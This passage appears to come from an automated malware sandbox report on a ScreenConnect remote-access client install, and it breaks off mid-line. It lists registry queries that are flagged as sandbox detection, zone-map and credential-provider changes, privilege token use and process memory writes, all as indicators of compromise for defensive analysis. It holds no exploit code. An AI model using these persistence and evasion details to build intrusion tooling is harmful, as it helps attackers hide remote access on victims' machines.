\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsBackstageShell.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsBackstageShell.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname rundll32.exe - System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000087bc5fd0f69d84a90000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000087bc5fd00000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090087bc5fd0000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a87bc5fd0000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d87bc5fd0000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 53 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsBackstageShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "1" msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsBackstageShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinWidth = "0" ScreenConnect.WindowsBackstageShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28 msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinVertGap = "0" ScreenConnect.WindowsBackstageShell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 68e4f92ba9a0ef5d4e14612487e4808356c0940af75af4d58745d752f71af483 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = 081100002d019172886cdd01 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Mouse\MouseHoverTime = "750" ScreenConnect.WindowsBackstageShell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinHorzGap = "0" ScreenConnect.WindowsBackstageShell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinArrange = "8" ScreenConnect.WindowsBackstageShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\ProductIcon = "C:\\Windows\\Installer\\{874F1703-B345-4752-D947-74E2297C78A6}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2605-DB84DA4CDCC9}\ = "ScreenConnect Client (c9d1de8d414be81e) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3D1CE6B8E7C2485D83E490813AA95364 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\ProductName = "ScreenConnect Client (49a070471c576876)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-c9d1de8d414be81e msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\ProductName = "ScreenConnect Client (c9d1de8d414be81e)" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-49a070471c576876 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876\shell msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2F18-F1201241E47A}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\BEB518C716E07158940A0774C1758667 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\PackageCode = "3071F478543B25749D74472E92C7876A" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-49a070471c576876\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3D1CE6B8E7C2485D83E490813AA95364\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3071F478543B25749D74472E92C7876A msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\753BCFC4034CE0C59C1DEDD814B48EE1\3071F478543B25749D74472E92C7876A msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2F18-F1201241E47A}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (49a070471c576876)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList\LastUsedSource = "n;1;C:\\Windows\\TEMP\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\BEB518C716E07158940A0774C1758667\3D1CE6B8E7C2485D83E490813AA95364 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2605-DB84DA4CDCC9}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (c9d1de8d414be81e)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2605-DB84DA4CDCC9}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3071F478543B25749D74472E92C7876A\Full msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (c9d1de8d414be81e)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList\PackageName = "sc.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\ProductIcon = "C:\\Windows\\Installer\\{8B6EC1D3-2C7E-D584-384E-0918A39A3546}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e\URL Protocol msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\753BCFC4034CE0C59C1DEDD814B48EE1 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList\Net\1 = "C:\\Windows\\TEMP\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-49a070471c576876\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (49a070471c576876)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\Version = "419692564" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3071F478543B25749D74472E92C7876A\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2F18-F1201241E47A}\ = "ScreenConnect Client (49a070471c576876) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3D1CE6B8E7C2485D83E490813AA95364\PackageCode = "3D1CE6B8E7C2485D83E490813AA95364" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-c9d1de8d414be81e\shell\open msiexec.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1348 ScreenConnect.WindowsClient.exe - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 4360 msiexec.exe 4360 msiexec.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 4360 msiexec.exe 4360 msiexec.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2920 msiexec.exe Token: SeIncreaseQuotaPrivilege 2920 msiexec.exe Token: SeSecurityPrivilege 4360 msiexec.exe Token: SeCreateTokenPrivilege 2920 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2920 msiexec.exe Token: SeLockMemoryPrivilege 2920 msiexec.exe Token: SeIncreaseQuotaPrivilege 2920 msiexec.exe Token: SeMachineAccountPrivilege 2920 msiexec.exe Token: SeTcbPrivilege 2920 msiexec.exe Token: SeSecurityPrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeLoadDriverPrivilege 2920 msiexec.exe Token: SeSystemProfilePrivilege 2920 msiexec.exe Token: SeSystemtimePrivilege 2920 msiexec.exe Token: SeProfSingleProcessPrivilege 2920 msiexec.exe Token: SeIncBasePriorityPrivilege 2920 msiexec.exe Token: SeCreatePagefilePrivilege 2920 msiexec.exe Token: SeCreatePermanentPrivilege 2920 msiexec.exe Token: SeBackupPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeShutdownPrivilege 2920 msiexec.exe Token: SeDebugPrivilege 2920 msiexec.exe Token: SeAuditPrivilege 2920 msiexec.exe Token: SeSystemEnvironmentPrivilege 2920 msiexec.exe Token: SeChangeNotifyPrivilege 2920 msiexec.exe Token: SeRemoteShutdownPrivilege 2920 msiexec.exe Token: SeUndockPrivilege 2920 msiexec.exe Token: SeSyncAgentPrivilege 2920 msiexec.exe Token: SeEnableDelegationPrivilege 2920 msiexec.exe Token: SeManageVolumePrivilege 2920 msiexec.exe Token: SeImpersonatePrivilege 2920 msiexec.exe Token: SeCreateGlobalPrivilege 2920 msiexec.exe Token: SeCreateTokenPrivilege 2920 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2920 msiexec.exe Token: SeLockMemoryPrivilege 2920 msiexec.exe Token: SeIncreaseQuotaPrivilege 2920 msiexec.exe Token: SeMachineAccountPrivilege 2920 msiexec.exe Token: SeTcbPrivilege 2920 msiexec.exe Token: SeSecurityPrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeLoadDriverPrivilege 2920 msiexec.exe Token: SeSystemProfilePrivilege 2920 msiexec.exe Token: SeSystemtimePrivilege 2920 msiexec.exe Token: SeProfSingleProcessPrivilege 2920 msiexec.exe Token: SeIncBasePriorityPrivilege 2920 msiexec.exe Token: SeCreatePagefilePrivilege 2920 msiexec.exe Token: SeCreatePermanentPrivilege 2920 msiexec.exe Token: SeBackupPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeShutdownPrivilege 2920 msiexec.exe Token: SeDebugPrivilege 2920 msiexec.exe Token: SeAuditPrivilege 2920 msiexec.exe Token: SeSystemEnvironmentPrivilege 2920 msiexec.exe Token: SeChangeNotifyPrivilege 2920 msiexec.exe Token: SeRemoteShutdownPrivilege 2920 msiexec.exe Token: SeUndockPrivilege 2920 msiexec.exe Token: SeSyncAgentPrivilege 2920 msiexec.exe Token: SeEnableDelegationPrivilege 2920 msiexec.exe Token: SeManageVolumePrivilege 2920 msiexec.exe Token: SeImpersonatePrivilege 2920 msiexec.exe Token: SeCreateGlobalPrivilege 2920 msiexec.exe Token: SeCreateTokenPrivilege 2920 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2920 msiexec.exe Token: SeLockMemoryPrivilege 2920 msiexec.exe - Suspicious use of FindShellTrayWindow 11 IoCs
pid Process 2920 msiexec.exe 2920 msiexec.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1348 ScreenConnect.WindowsClient.exe 1348 ScreenConnect.WindowsClient.exe 2984 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 7 IoCs
pid Process 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 1580 ScreenConnect.WindowsClient.exe 2984 ScreenConnect.WindowsClient.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4644 ScreenConnect.WindowsBackstageShell.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4360 wrote to memory of 3240 4360 msiexec.exe 88 PID 3240 wrote to memory of 5112 3240 MsiExec.exe 89 PID 3240 wrote to memory of 4952 3240 MsiExec.exe 92 PID 3240 wrote to memory of 940 3240 MsiExec.exe 95 PID 4360 wrote to memory of 2232 4360 msiexec.exe 102 PID 4360 wrote to memory of 4796 4360 msiexec.exe 104 PID 4360 wrote to memory of 1436 4360 msiexec.exe 105 PID 2144 wrote to memory of 1580 2144 ScreenConnect.ClientService.exe 107 PID 2144 wrote to memory of 940 2144 ScreenConnect.ClientService.exe 108 PID 2144 wrote to memory of 5060 2144 ScreenConnect.ClientService.exe 111 PID 2144 wrote to memory of 4644 2144 ScreenConnect.ClientService.exe 112 PID 2144 wrote to memory of 1348 2144 ScreenConnect.ClientService.exe 113 PID 4644 wrote to memory of 2580 4644 ScreenConnect.WindowsBackstageShell.exe 115 PID 2580 wrote to memory of 2468 2580 CMD.exe 118 PID 2580 wrote to memory of 3512 2580 CMD.exe 119 PID 4360 